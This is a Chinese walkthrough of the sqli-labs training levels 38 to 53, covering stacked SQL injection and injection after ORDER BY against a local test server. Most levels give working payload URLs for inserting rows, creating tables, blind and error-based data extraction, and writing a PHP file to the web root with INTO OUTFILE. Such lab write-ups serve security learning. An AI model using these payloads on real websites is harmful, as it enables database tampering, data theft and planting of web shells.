概述
less-38~45主要介绍堆叠注入的方法
less-46~53介绍order by 后的注入
less-38
查看源码,我们可以知道
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
我们使用堆叠注入
http://127.0.0.1/sqli-labs-master/Less-38/?id=1';insert into users values ('38','1','')--+
查看表中数据,发现38已经添加
less-39
查看源码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
可得,除了在id的处理上与38关不一样,其他一样
注入语句
http://127.0.0.1/sqli-labs-master/Less-38/?id=1;insert into users values ('39','1','1')--+
Less-40
查看源码,得
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
除了在id的处理上与38关不一样,其他一样
注入语句
http://127.0.0.1/sqli-labs-master/Less-40/?id=1');insert into users values ('40','1','1')--+
less-41
查看源码,得
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
基本39题一样,区别就是错误不回现,参考39题
Less-42
Update 更新数据后,经过 mysql_real_escape_string()处理后的数据,存入到数据库当中后不
会发生变化。在 select 调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的
观察源码,得
sql语句为
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
Password 变量在 post 过程中,没有通过 mysql_real_escape_string()函数的处理。因此在登录的时候密码选项我们可以进行 attack
开始注入
用户为admin
密码为c’;create table me like users#
Less-43
观察源码得,
less-43与less-42基本一样,在于对id处理的不同,其他一样。
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
Less-44
与less-42的区别在于没有错误返回(盲注),其他与Less-42一样
Less-45
与less-43的区别在于没有错误返回(盲注),其他与Less-43一样
less-46
sql语句为
$sql = "SELECT * FROM users ORDER BY $id";
我们尝试下
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 desc//逆序
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 asc//顺序
显示结果不同,则表明可以注入(但是rand=left(sql语句)与rand=right(sql语句)的结果是一样的,说明不能注入)
报错注入:
此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式, ①直接添加注入语句,?sort=(select ******)
(1)延时注入
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(select if(substring(current,1,1)=CHAR(115),benchmark(50000000,md5('1')),null) from (select database() as current) as tb1)
②利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)
(1)、http://127.0.0.1/sqli-labs-master/Less-46/?sort=rand(true) http://127.0.0.1/sqli-labs-master/Less-46/?sort=rand(false)
http://127.0.0.1/sqli-labs-master/Less-46/?sort=rand(ascii(left(database(),1))=115)
可以看到与rand(true)的结果一样,所以可以得到数据库的第一个字母s
③利用 and,例如?sort=1 and (加 sql 语句)。
延时注入
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=115,0,sleep(5))
报错注入
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)))
procedure analyse 参数后注入
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 procedure analyse(extractvalue(1,concat(0x3a,database())),1)
导入导出文件 into outfile 参数注入
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 into outfile "F:\php\PHPTutorial\WWW\sqli-labs-master\Less-46\test
.txt"
以考虑上传网马,利用 lines terminated by
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 into outfile "F:\php\PHPTutorial\WWW\sqli-labs-master\Less-46\test.php"lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+
less-47
和less-46除了id的处理不一样,其他一样
sql 语句为
$sql = "SELECT * FROM users ORDER BY '$id'";
参考less-46
Less-48
关与 less-46 的区别在于报错注入不能使用,不进行错误回显,其他与less-46一样
参考less-46
less-49
与less-47唯一的区别是没有错误回显
less-50~51;
这些关卡开始进行order by堆叠注入
注入语句如(less-50的注入语句)
http://127.0.0.1/sqli-labs-master/Less-50/?sort=1;create table less50 like users。
大家参考前面关卡
最后
以上就是无限麦片为你收集整理的sqli-labs-less-38~53的全部内容,希望文章能够帮你解决sqli-labs-less-38~53所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复